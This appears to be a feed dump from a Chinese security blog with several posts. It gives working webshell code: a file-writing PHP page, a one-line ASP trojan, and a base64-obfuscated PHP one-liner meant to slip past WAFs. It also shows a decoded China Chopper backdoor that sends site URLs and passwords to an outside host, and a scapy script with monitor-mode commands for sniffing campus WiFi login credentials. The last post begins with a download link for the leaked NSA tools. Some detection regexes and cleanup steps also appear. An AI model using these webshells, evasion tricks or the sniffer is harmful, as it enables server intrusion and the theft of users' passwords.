style="color:#e6db74">&#39;SERVER_NAME&#39;</span>])<span style="color:#75715e">?&gt;</span>)&lt;<span style="color:#f92672">br</span>&gt; 当前目录路径: <span style="color:#75715e">&lt;?php</span> <span style="color:#66d9ef">echo</span> $_SERVER[<span style="color:#e6db74">&#39;DOCUMENT_ROOT&#39;</span>]<span style="color:#f92672">.</span>$_SERVER[<span style="color:#e6db74">&#39;PHP_SELF&#39;</span>];<span style="color:#75715e">?&gt;</span>&lt;/<span style="color:#f92672">br</span>&gt; &lt;<span style="color:#f92672">form</span> <span style="color:#a6e22e">action</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;&#34;</span> <span style="color:#a6e22e">method</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;post&#34;</span>&gt; 保存路径:&lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;path&#34;</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text&#34;</span> /&gt;&lt;<span style="color:#f92672">br</span>&gt; 保存内容:&lt;<span style="color:#f92672">br</span>&gt;&lt;<span style="color:#f92672">textarea</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;data&#34;</span> <span style="color:#a6e22e">cols</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;90&#34;</span> <span style="color:#a6e22e">rows</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;50&#34;</span>&gt;&lt;/<span style="color:#f92672">textarea</span>&gt;&lt;/<span style="color:#f92672">br</span>&gt; &lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;&#34;</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;submit&#34;</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Submit&#34;</span>/&gt; &lt;/<span style="color:#f92672">form</span>&gt; <span style="color:#75715e">&lt;?php</span> }<span style="color:#66d9ef">else</span>{ <span style="color:#75715e">//输入密码错误时则一直在输入密码的界面 </span><span style="color:#75715e"></span><span style="color:#75715e">?&gt;</span> &lt;<span style="color:#f92672">form</span> <span style="color:#a6e22e">action</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;&#34;</span> <span style="color:#a6e22e">method</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;GET&#34;</span>&gt; 密码:&lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;password&#34;</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;pass&#34;</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;pass&#34;</span>&gt; &lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;submit&#34;</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;login&#34;</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Login in&#34;</span> /&gt;&lt;/<span style="color:#f92672">form</span>&gt; <span style="color:#75715e">&lt;?php</span> } <span style="color:#75715e">?&gt;</span> </code></pre></div><h2 id="0x01-一句话木马实现原理和编写">0x01 一句话木马实现原理和编写</h2> <p><strong>客户端:</strong></p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">&lt;form action=http://10.10.10.144/1.asp method=post&gt; &lt;textarea name=xiaoxian cols=120 rows=10 width=45&gt; set IP=server.CreateObject(&#34;Adodb.Stream&#34;)//建立流对象 IP.Open IP.Type=2//以文本方式 IP.CharSet=&#34;gb2312&#34;//字体标准 IP.writetext request(&#34;newvalue&#34;) IP.SaveToFile server.mappath(&#34;new.asp&#34;),2//将木马内容以覆盖文件的方式写入new.asp,2就是已覆盖的方式 IP.Close set IP=nothing//释放对象 response.redirect &#34;new.asp&#34;//转向new.asp &lt;/textarea&gt; &lt;textarea name=newvalue cols=120 rows=10 width=45&gt;这里填生成木马的代码 &lt;/textarea&gt;&lt;br&gt;&lt;center&gt;&lt;br&gt; &lt;input type=submit value=提交&gt; &lt;/form&gt; </code></pre></div><p><strong>服务端中有文件1.asp,内容为:</strong></p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">&lt;%execute request(&#34;xiaoxian&#34;)%&gt; </code></pre></div><p>表单的作用就是把表单里的内容提交到服务器端的1.asp文件,而1.asp即为一句话木马,会执行提交的内容。简单地说,就是构造两个表单,第一个表单里的代码是文件操作的代码(就是把第二个表单内的内容写入在当前目录下并命名为new.asp的这么一段操作的处理代码)那么第二个表单当然就是我们要写入的马了。第一个表单的名字和1.asp中的密码必须一样,而第二个表单的名字必须和IP.writetext request(&ldquo;newvalue&rdquo;) 里的newvalue一样。至此只要服务器有写的权限该表单所提交的大马内容就会被写入到new.asp中。即new.asp为我们的shell地址。</p> <h2 id="0x02-一句话木马如何绕过waf实现上传">0x02 一句话木马如何绕过WAF实现上传</h2> <p>这时候进行编码即可下面的是一个简单的编码例子,复杂的到网上下载即可:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-php" data-lang="php"><span style="color:#75715e">&lt;?php</span> $mt<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;JF9QT1NU&#34;</span>; $ojj<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;QGV2YWwole&#34;</span>; $hsa<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Wydlele4aW&#34;</span>; $fnx<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;FveGlhbiddKTs=&#34;</span>; $zk<span style="color:#f92672">=</span><span style="color:#a6e22e">str_replace</span>(<span style="color:#e6db74">&#34;d&#34;</span>,<span style="color:#e6db74">&#34;&#34;</span>,<span style="color:#e6db74">&#34;sdtdrd_redpdldadcde&#34;</span>); $ef<span style="color:#f92672">=</span>$zk(<span style="color:#e6db74">&#34;z&#34;</span>,<span style="color:#e6db74">&#34;&#34;</span>,<span style="color:#e6db74">&#34;zbazsze64_zdzeczodze&#34;</span>); $dva<span style="color:#f92672">=</span>$zk(<span style="color:#e6db74">&#34;p&#34;</span>,<span style="color:#e6db74">&#34;&#34;</span>,<span style="color:#e6db74">&#34;pcprpepaptpe_fpupnpcptpipopn&#34;</span>); $zvm<span style="color:#f92672">=</span>$dva(<span style="color:#e6db74">&#39;&#39;</span>,$ef($zk(<span style="color:#e6db74">&#34;le&#34;</span>,<span style="color:#e6db74">&#34;&#34;</span>,$ojj<span style="color:#f92672">.</span>$mt<span style="color:#f92672">.</span>$hsa<span style="color:#f92672">.</span>$fnx))); $zvm(); <span style="color:#75715e">?&gt;</span> </code></pre></div><h2 id="0x03-中国菜刀一些技巧和后门分析">0x03 中国菜刀一些技巧和后门分析</h2> <p>开启安全狗之后即使上传了一句话木马但是也是无法直接用菜刀连接的,将菜刀发送的信息通过Firefox的Hackbar来POST过去即可绕过。</p> <p>具体的效果要看不同种类、不同版本的WAF了,这里使用的是最新版的安全狗因为还是被过滤了。当然网上也有过狗版的菜刀,但是本人使用的版本效果并不好。</p> <p>如何检测菜刀是否存在后门?</p> <p>使用WSockExpert软件或其它抓包软来来选择需要监听的“中国菜刀”程序,开始监听后,用菜刀连接Webshell进行一些操作,然后查看抓到的包,找到Send即发送包,其中的内容含有密码xiaoxian和加密过的内容,接着对里面的内容解码就是(这个是据说是官网下载的菜刀,但是确实没看到有后门):</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-php" data-lang="php">@eval (base64_decode($_POST[z0])); &amp;z0=@ini_set(&#34;display_errors&#34;,&#34;0&#34;);@set_time_limit(0);@set_magic_quotes_runtime(0);echo(&#34;-&gt;|&#34;);;$D=base64_decode($_POST[&#34;z1&#34;]);$F=@opendir($D);if($F==NULL){echo(&#34;ERROR:// Path Not Found Or No Permission!&#34;);}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.&#34;/&#34;.$N;$T=@date(&#34;Y-m-d H:i:s&#34;,@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R=&#34;\t&#34;.$T.&#34;\t&#34;.@filesize($P).&#34;\t&#34;.$E.&#34; &#34;;if(@is_dir($P))$M.=$N.&#34;/&#34;.$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo(&#34;|&lt;<span style="color:#f92672">-</span><span style="color:#960050;background-color:#1e0010">&#34;</span><span style="color:#960050;background-color:#1e0010">)</span><span style="color:#960050;background-color:#1e0010">;</span><span style="color:#a6e22e">die</span><span style="color:#960050;background-color:#1e0010">(</span><span style="color:#960050;background-color:#1e0010">)</span><span style="color:#960050;background-color:#1e0010">;</span> <span style="color:#960050;background-color:#1e0010">&amp;</span><span style="color:#a6e22e">z1</span><span style="color:#f92672">=</span><span style="color:#e6db74">@ini_set(&#34;display_errors&#34;,&#34;0&#34;);@set_time_limit(0);@set_magic_quotes_runtime(0);echo(&#34;-</span>&gt;C:\\wce\\ </code></pre></div><p>这是有后门的菜刀第一次解码的结果:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-php" data-lang="php">@eval(base64_decode(&#39;aWYoJF9DT09LSUVbJ0x5a2UnXSE9MSl7c2V0Y29va2llKCdMeWtlJywxKTtAZmlsZSgnaHR0cDovL3d3dy5hcGkuY29tLmRlL0FwaS5waHA/VXJsPScuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddLicmUGFzcz0nLmtleSgkX1BPU1QpKTt9&#39;));@ini_set(&#34;display_errors&#34;,&#34;0&#34;);@set_time_limit(0);@set_magic_quotes_runtime(0);echo(&#34;-&gt;|&#34;);;$D=dirname($_SERVER[&#34;SCRIPT_FILENAME&#34;]);if($D==&#34;&#34;)$D=dirname($_SERVER[&#34;PATH_TRANSLATED&#34;]);$R=&#34;{$D}\t&#34;;if(substr($D,0,1)!=&#34;/&#34;){foreach(range(&#34;A&#34;,&#34;Z&#34;) as $L)if(is_dir(&#34;{$L}:&#34;))$R.=&#34;{$L}:&#34;;}$R.=&#34;\t&#34;;$u=(function_exists(&#39;posix_getegid&#39;))?@posix_getpwuid(@posix_geteuid()):&#39;&#39;;$usr=($u)?$u[&#39;name&#39;]:@get_current_user();$R.=php_uname();$R.=&#34;({$usr})&#34;;print $R;;echo(&#34;|&lt;<span style="color:#f92672">-</span><span style="color:#960050;background-color:#1e0010">&#34;</span><span style="color:#960050;background-color:#1e0010">)</span><span style="color:#960050;background-color:#1e0010">;</span><span style="color:#a6e22e">die</span><span style="color:#960050;background-color:#1e0010">(</span><span style="color:#960050;background-color:#1e0010">)</span><span style="color:#960050;background-color:#1e0010">;</span> </code></pre></div><p>将中间base64加密字段进行第二次解密:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-php" data-lang="php">if($_COOKIE[&#39;Lyke&#39;]!=1){setcookie(&#39;Lyke&#39;,1);@file(&#39;http://www.api.com.de/Api.php?Url=&#39;.$_SERVER[&#39;HTTP_HOST&#39;].$_SERVER[&#39;REQUEST_URI&#39;].&#39;&amp;Pass=&#39;.key($_POST));} </code></pre></div><p>可以看到这个菜刀明显存在后门。</p> <p>另外,在X-Forwarded-For这里是值得怀疑的地方,因为这里的IP是别的地方的,网上还没找到关于这种情况是不是后门的相关内容。这个地方大家可以研究一下,个人觉得是比较隐蔽的后门吧,但是问题是我所用的几个版本的菜刀在X-Forwarded-For这里都是有这个别的地方的IP的。</p> <h2 id="0x04-linuxwindows下查找菜刀一句话木马">0x04 Linux、Windows下查找菜刀一句话木马</h2> <p>Linux:</p> <ul> <li> <ul> <li>使用egrep命令进行正则匹配</li> <li>egrep -re ' &lt;php\s@eval[(]$<em>POST[.+][)];?&rsquo; *.php</em></li> </ul> </li> </ul> <p>Windows:</p> <ul> <li>通过findstr命令加上正则表达式搜索文件</li> <li>findstr /R &ldquo;&lt;php.@eval[(]$_POST.*[)];?&rdquo; *.php</li> </ul> <p>若是asp一句话木马,则需要修改正则表达式即可:</p> <ul> <li>egrep -re &lsquo;[[]%@\sPage\sLanguage=.Jscript.%[](mailto:]/%/@/sPage/sLanguage=.Jscript./%[)][&lt;]%eval.Request.Item.+unsafe&rsquo; *.aspx</li> <li>findstr /R &ldquo;[[]%@.Page.Language=.Jscript.%[](mailto:]/%/@.Page.Language=.Jscript./%[)][&lt;]%eval.Request.Item.*unsafe&rdquo; *.aspx</li> </ul> <h2 id="0x05-其他脚本后门分析">0x05 其他脚本后门分析</h2> <p>一般的方法就是,通过Firefox的F12即开发者工具到Network网络查看,如果在URL下还有访问其它网页的信息,那么基本就是存在后门。</p> <h2 id="0x06-手动查找后门木马">0x06 手动查找后门木马</h2> <p>1、系统的启动项,在运行输入msconfig,在打开的系统配置实用程序里的启动列表查看,并且服务也要注意一下,可以使用360安全卫士等软件的开机加速功能,来查看有无异常的可以启动项和服务项,因为在后门木马中99%都会注册自己为系统服务,达到开机自启动的目的,如果发现可疑项直接打开相应的路径,找到程序文件,直接删除并且禁止自启动;</p> <p>2、查看系统关键目录system32和系统安装目录Windows下的文件。然后查看最新修改的文件中有没有可疑的可执行文件或dll文件,这两个地方都是木马最喜欢的藏身的地方了(记得先设置显示所有的文件和文件夹);</p> <p>3、观察网络连接是否存在异常,还有输入netstat -ano命令查看有没有可疑或非正常程序的网络连接,尤其注意一下远程连接的端口,如果有类似于8000等端口就要注意了,8000是灰鸽子的默认端口。</p> <p>这里重点讲一下第三点:</p> <p>1、 查看进程:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">netstat-an </code></pre></div><p>netstat -ano 多显示一个PID,先查看established的进程中所连接的外部地址是否是一个可疑的、没见过的地址,如果本身主机没有进行什么网络访问的话就需要警惕了,先记住这个可疑进程的PID。</p> <p>tasklist /svc,输入这个命令,通过对应的PID找到对应的进程名。</p> <p>2、 查看服务:</p> <p>可以使用工具XueTr来进行更为简便的操作,使用其查看服务和进程等信息(注意的一点,微软服务的描述在最后都是由句号的,而第三方的服务是没有的)</p> <p>先右键到dll文件的路径中将dll文件删除,然后到相应的服务中将其删除掉,最后将可疑进程终止掉。</p> H3C校园网WIFI密码嗅探 https://p0st3r.github.io/post/h3c-wifi-sniff/ Tue, 09 May 2017 00:00:00 +0000 https://p0st3r.github.io/post/h3c-wifi-sniff/ <h1 id="初步分析认证交互">初步分析认证交互</h1> <p>该校校园网WIFI采用H3C认证,认证地址为内网某服务器上。url为 <a href="http://link.zhihu.com/?target=http%3A//192.168.150.2%3A8080/portal/" target="_blank" rel="noopener">http://192.168.xxx.x:xxxx/portal/index_default.jsp</a></p> <h2 id="查看dom">查看DOM</h2> <p>发现了几个重要的函数。base64()、checkUserName()、encrypt()</p> <p>base64是将输入的文本进行一次base64编码,checkUerName就是检查用户名,encrypt是将密码再进行一次加密。</p> <p>base64是将输入的文本进行一次base64编码,checkUerName就是检查用户名,encrypt是将密码再进行一次加密。</p> <p><img src="./v2-eec5275988a740dd98ee624e443ab1a8_hd.png" alt="img"></p> <h2 id="分析网络流">分析网络流</h2> <p>首先使用火狐的firebug+检查元素来分析网络流。</p> <p>当我们访问登陆页面时,发送GET请求并带一个i_p_pl的cookie</p> <p><img src="./v2-bf33b3c1543ec099f360573a6ac00aaf_hd.png" alt="img"></p> <p>尝试登陆,登陆成功跳转到 <a href="http://link.zhihu.com/?target=http%3A//192.168.xxx.x%3Axxxx/portal/succese.jsp" target="_blank" rel="noopener">http://192.168.xxx.x:xxxx/portal/page/loginSucc.jsp**</a>,发送了*个GET请求,除去图片和脚本,此次登陆只向/portal/loginSucc.jsp发送了GET包,除了i_p_pl,还带有hello1、hello2两个个cookie,其中hello1为登陆发送的username,hello2暂不明其含义。</p> <p>在后来的测试中,发现hello2是【记住登陆】功能的参数,当hello2=false时不记住,hello2=true时记住并附带hello3、hello4、hello5参数,本来应当是可以利用这些cookie来绕过登陆直接请求认证的,不过考虑到其又要增加工作量,因此先放一边。</p> <p><img src="./v2-279ce765f1d931475fb7997c43b8a7bf_hd.png" alt="img"></p> <p>这就很奇怪了,在整个登陆过程全部都是GET请求而没有POST请求,没有POST请求是怎么把用户名密码传输上去认证的呢?况且之前已经在DOM中发现了base64encode()和query()函数。难道用户名和密码是在GET时Cookie中传上去的?。虽然不用想就知道GET发送cookie来登陆很扯,但还是要研究一下cookie的含义。</p> <p><img src="./v2-bcc5e9f15b77dec561a603ca8f063bc2_hd.png" alt="img"></p> <h2 id="探究cookie含义">探究cookie含义</h2> <p>登陆时发送的i_p_pl</p> <p>i_p_pl=JTdCJTIyZXJyb3JOdW1iZXIlMjIlM0ElMjIxJTIyJTJDJTIybmV4dFVybCUyMiUzQSUyMmh0dHAlM0ElMkYlMkYxOTIuMTY4LjE1MC4yJTNBODA4MCUyRnBvcnRhbCUyRmluZGV4X2RlZmF1bHQuanNwJTIyJTJDJTIycXVpY2tBdXRoJTIyJTNBZmFsc2UlMkMlMjJjbGllbnRMYW5ndWFnZSUyMiUzQSUyMkNoaW5lc2UlMjIlMkMlMjJhc3NpZ25JcFR5cGUlMjIlM0EwJTJDJTIyaU5vZGVQd2ROZWVkRW5jcnlwdCUyMiUzQTElMkMlMjJ3bGFubmFzaWQlMjIlM0ElMjIlMjIlMkMlMjJ3bGFuc3NpZCUyMiUzQSUyMiUyMiUyQyUyMm5hc0lwJTIyJTNBJTIyJTIyJTJDJTIyYnlvZFNlcnZlcklwJTIyJTNBJTIyMC4wLjAuMCUyMiUyQyUyMmJ5b2RTZXJ2ZXJJcHY2JTIyJTNBJTIyMDAwMCUzQTAwMDAlM0EwMDAwJTNBMDAwMCUzQTAwMDAlM0EwMDAwJTNBMDAwMCUzQTAwMDAlMjIlMkMlMjJieW9kU2VydmVySHR0cFBvcnQlMjIlM0ElMjI4MDgwJTIyJTJDJTIyaWZUcnlVc2VQb3B1cFdpbmRvdyUyMiUzQWZhbHNlJTJDJTIydWFtSW5pdEN1c3RvbSUyMiUzQSUyMjElMjIlMkMlMjJjdXN0b21DZmclMjIlM0ElMjJNUSUyMiUyQyUyMnJlZ0NvZGVUeXBlJTIyJTNBJTIyTUElMjIlN0Q</p> <p>很明显这是一个base64编码过的字符串,把这个base64解码再url解码,就得到了</p> <p>{“errorNumber”:”1”,”nextUrl”:” <a href="http://link.zhihu.com/?target=http%3A//192.168.150.2%3A8080/portal/index_default.jsp" target="_blank" rel="noopener">http://192.168.xxx.x:xxxx/portal/index_default.jsp**</a>“,”quickAuth”:false,”clientLanguage”:”Chinese”,”assignIpType”:0,”iNodePwdNeedEncrypt”:1,”wlannasid”:””,”wlanssid”:””,”nasIp”:””,”byodServerIp”:”0.0.0.0”,”byodServerIpv6”:”0000:0000:0000:0000:0000:0000:0000:0000”,”byodServerHttpPort”:”8080”,”ifTryUsePopupWindow”:false,”uamInitCustom”:”1”,”customCfg”:”MQ”,”regCodeType”:”MA”}</p> <p>这只是向无线路由器发送的表明自己身份的未完成的表单,没有我们要的用户名和密码。</p> <h1 id="完整认证过程">完整认证过程</h1> <p>只有GET请求果然很扯,这很有可能是我们的浏览器网络流分析工具有些问题,或者该Web认证的安全性足够好,导致我们无法截取完整的请求流。</p> <p>这样就只有用Wireshark来对网卡进行完全的监听,以抓取全部流量包。</p> <p>设置Capture interface为 WLAN 无线网卡,开启抓取后重现登陆过程。</p> <p>抓到的流量包除了访问该认证网站的http流,还包括了所有经过该无线网卡的所有协议的网络流。</p> <p><img src="./v2-6cd8906aa2f5a6d610aefc4c269c322f_hd.png" alt="img"></p> <p>设置过滤规则为http协议并且只有该认证网址ip。</p> <p>发现登录一次h3c系统,要先后传参给3个页面,一个/pws?t=li,一个/afterlogin.jsp,一个/loginSucc.jsp,所以就分别看这几个网页的抓包数据。</p> <p>发现其cookie都是一样的,但是只有pws这个页面是POST请求。</p> <p><img src="./v2-1d86af749bc5c0d02e757e52e08d791f_hd.jpg" alt="img"></p> <p>查看pws应用层传输的数据,发现上传了【userName】和【userPwd】参数,也就是说,只有这个页面是验证密码的。</p> <p>【userName】就是登陆的用户名,【userPwd】是经过base64编码后的密码。</p> <p><img src="./v2-630128ad034d028c51c867078cbc1530_hd.jpg" alt="img"></p> <h1 id="总结思路">总结思路</h1> <p>我们可以抓取用户登陆时的POST请求来获取用户名和密码,也可以在用户勾选【记住密码】时获取带有用户名密码信息的cookie。</p> <ol> <li>当抓到client ==&gt; server的数据包时</li> </ol> <ul> <li>如果是GET请求,检查有没有Cookie存在。</li> <li>如果是POST请求,把用户名和密码拿出来。</li> <li>检查是否有set-cookie头部,有的话取出来。</li> </ul> <p>最后如果有cookie被嗅探到,就带着cookie把向server索要一下密码。</p> <p><strong>但是为了偷懒,这里就不嗅探cookie了,直接嗅探POST的用户名和密码就行了。最终思路如下:</strong></p> <p>当抓到client ==&gt; server的数据包时,如果是POST请求,直接把用户名和密码拿出来。</p> <h1 id="嗅探">嗅探</h1> <p><strong>实验环境</strong></p> <ul> <li>Ubuntu虚拟机</li> <li>大功率USB无线网卡(8187等)</li> <li>python2.7</li> </ul> <p><strong>python扩展库需要</strong></p> <ul> <li>requests</li> <li>scapy</li> <li>scapy_http</li> <li>lxml</li> </ul> <p>** 代码</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-python" data-lang="python"><span style="color:#f92672">import</span> requests <span style="color:#f92672">import</span> scapy_http.http <span style="color:#f92672">as</span> http <span style="color:#f92672">from</span> scapy.all <span style="color:#f92672">import</span> <span style="color:#f92672">*</span> <span style="color:#f92672">from</span> lxml <span style="color:#f92672">import</span> etree iface <span style="color:#f92672">=</span> <span style="color:#e6db74"></span><span style="color:#e6db74">&#39;</span><span style="color:#e6db74">wlan0</span><span style="color:#e6db74">&#39;</span> url <span style="color:#f92672">=</span> <span style="color:#e6db74"></span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">http://192.168.xxx.x:xxxx/portal/pws?t=li</span><span style="color:#e6db74">&#34;</span> path <span style="color:#f92672">=</span> <span style="color:#e6db74"></span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">/root</span><span style="color:#e6db74">&#34;</span> <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">prn</span>(pkt): data <span style="color:#f92672">=</span> None <span style="color:#75715e">#std ==&gt; ap </span> <span style="color:#66d9ef">if</span> pkt<span style="color:#f92672">.</span>haslayer(http<span style="color:#f92672">.</span>HTTPRequest): <span style="color:#75715e">#if post the username and password </span> <span style="color:#66d9ef">if</span> pkt<span style="color:#f92672">.</span>Method <span style="color:#f92672">==</span> <span style="color:#e6db74"></span><span style="color:#e6db74">&#39;</span><span style="color:#e6db74">POST</span><span style="color:#e6db74">&#39;</span> <span style="color:#f92672">and</span> <span style="color:#e6db74"></span><span style="color:#e6db74">&#39;</span><span style="color:#e6db74">userName</span><span style="color:#e6db74">&#39;</span> <span style="color:#f92672">in</span> pkt<span style="color:#f92672">.</span>load: dt <span style="color:#f92672">=</span> {i<span style="color:#f92672">.</span>split(<span style="color:#e6db74"></span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">=</span><span style="color:#e6db74">&#34;</span>)[<span style="color:#ae81ff">0</span>]:i<span style="color:#f92672">.</span>split(<span style="color:#e6db74"></span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">=</span><span style="color:#e6db74">&#34;</span>)[<span style="color:#ae81ff">1</span>] <span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> pkt<span style="color:#f92672">.</span>load<span style="color:#f92672">.</span>split(<span style="color:#e6db74"></span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">&amp;</span><span style="color:#e6db74">&#34;</span>)} data <span style="color:#f92672">=</span> <span style="color:#e6db74"></span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">:::</span><span style="color:#e6db74">&#34;</span><span style="color:#f92672">.</span>join((dt[<span style="color:#e6db74"></span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">userName</span><span style="color:#e6db74">&#34;</span>],dt[<span style="color:#e6db74"></span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">userPwd</span><span style="color:#e6db74">&#34;</span>][<span style="color:#ae81ff">3</span>:]<span style="color:#f92672">.</span>decode(<span style="color:#e6db74"></span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">base64</span><span style="color:#e6db74">&#34;</span>))) <span style="color:#f92672">+</span> <span style="color:#e6db74"></span><span style="color:#e6db74">&#39;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#39;</span> <span style="color:#66d9ef">print</span> <span style="color:#e6db74"></span><span style="color:#e6db74">&#39;</span><span style="color:#e6db74">[+]Get! Post data:</span><span style="color:#e6db74">%s</span><span style="color:#e6db74"> </span><span style="color:#e6db74">%s</span><span style="color:#e6db74"> </span><span style="color:#e6db74">%s</span><span style="color:#e6db74"> </span><span style="color:#e6db74">%s</span><span style="color:#e6db74">&#39;</span><span style="color:#f92672">%</span>(dt[<span style="color:#e6db74"></span><span style="color:#e6db74">&#39;</span><span style="color:#e6db74">userName</span><span style="color:#e6db74">&#39;</span>],dt[<span style="color:#e6db74"></span><span style="color:#e6db74">&#39;</span><span style="color:#e6db74">userPwd</span><span style="color:#e6db74">&#39;</span>]) <span style="color:#66d9ef">if</span> data <span style="color:#f92672">!=</span> None: <span style="color:#66d9ef">with</span> open(path <span style="color:#f92672">+</span> <span style="color:#e6db74"></span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">schoolUserPwd.txt</span><span style="color:#e6db74">&#34;</span>, <span style="color:#e6db74"></span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">a</span><span style="color:#e6db74">&#34;</span>) <span style="color:#66d9ef">as</span> txt: txt<span style="color:#f92672">.</span>write(data) <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">main</span>(): <span style="color:#66d9ef">try</span>: sniff(iface<span style="color:#f92672">=</span>iface, prn<span style="color:#f92672">=</span>prn, filter<span style="color:#f92672">=</span><span style="color:#e6db74"></span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">ip host 192.168.xxx.x</span><span style="color:#e6db74">&#34;</span>, store<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>) <span style="color:#75715e">#sniff(offline=path + &#34;school.pcap&#34;, prn=prn, filter=&#34;ip host 192.168.xxx.x&#34;) </span> <span style="color:#66d9ef">except</span> <span style="color:#a6e22e">KeyboardInterrupt</span>, e: <span style="color:#66d9ef">print</span> <span style="color:#e6db74"></span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">quitting...</span><span style="color:#e6db74">&#34;</span> <span style="color:#66d9ef">if</span> __name__ <span style="color:#f92672">==</span> <span style="color:#e6db74"></span><span style="color:#e6db74">&#39;</span><span style="color:#e6db74">__main__</span><span style="color:#e6db74">&#39;</span>: main() </code></pre></div><p><strong>说明</strong></p> <ul> <li>requests用来向服务器请求</li> <li>scapy用来在无线网络中嗅探</li> <li>scapy_http用来对http协议更方便的解析</li> <li>lxml用来从服务器返回的html文件中,解析出来用户名和密码</li> <li>prn是sniff函数每过滤到一个符合条件的数据包时回调的函数,并将数据包本身作为参数传入</li> <li>之所以选择Ubuntu而不是Windows是因为scapy_http在win下运行有些问题</li> </ul> <p><strong>注意</strong></p> <p>由于我们既要嗅探,同时又要向服务器请求,所以airmon-ng check kill后,无线网卡开启monitor模式,再将网卡调到信号最强的ap的信道上。之前经过kismet抓取无线网包发现该校园网WIFI是在channel 1/6/11信道上工作的。</p> <p>最后再打开网络管理的服务。</p> <p>执行以下命令</p> <pre><code>$sudo airmon-ng check kill $sudo ifconfig wlan0 down $sudo iwconfig wlan0 mode monitor $sudo ifconfig wlan0 up $sudo iwconfig mon0 channel 1/6/11 $sudo service network-manager start </code></pre><p><strong>结果</strong></p> <p>由于之前买的无线网卡是劣质品无法识别,因此暂无结果。</p> <p>理论上是可以嗅探到的,等成功嗅探后再补发。</p> <h1 id="参考">参考</h1> <p>参考Freebuf的 <a href="http://link.zhihu.com/?target=http%3A//www.freebuf.com/articles/network/129721.html" target="_blank" rel="noopener">如何在开放无线网络中嗅探校园网密码**</a>这篇文章提供的python脚本,针对该校的网络进行了一些修改。</p> NSA方程式工具利用与分析 https://p0st3r.github.io/post/nsa-tools/ Fri, 28 Apr 2017 00:00:00 +0000 https://p0st3r.github.io/post/nsa-tools/ <h1 id="shadowbroker">Shadowbroker</h1> <p>下载地址</p> <p><a href="https://yadi.sk/d/NJqzpqo_3GxZA4">https://yadi.sk/d/NJqzpqo_3GxZA4</a></p> <p><strong>解压密码</strong>:Reeeeeeeeeeeeeee</p> <p><strong>github下载地址</strong>: <a href="http://link.zhihu.com/?target=https%3A//github.com/misterch0c/shadowbroker" target="_blank" rel="noopener">https://github.com/misterch0c/shadowbroker</a></p> <p>释放的工具总共包含三个文件夹,</p> <ul> <li>Swift:包含了NSA对SWIFT银行系统发动攻击的相关证据,其中有EastNets的一些PPT文档、相关的证据、一些登录凭证和内部架构,EastNets是中东最大的SWIFT服务机构之一。</li> 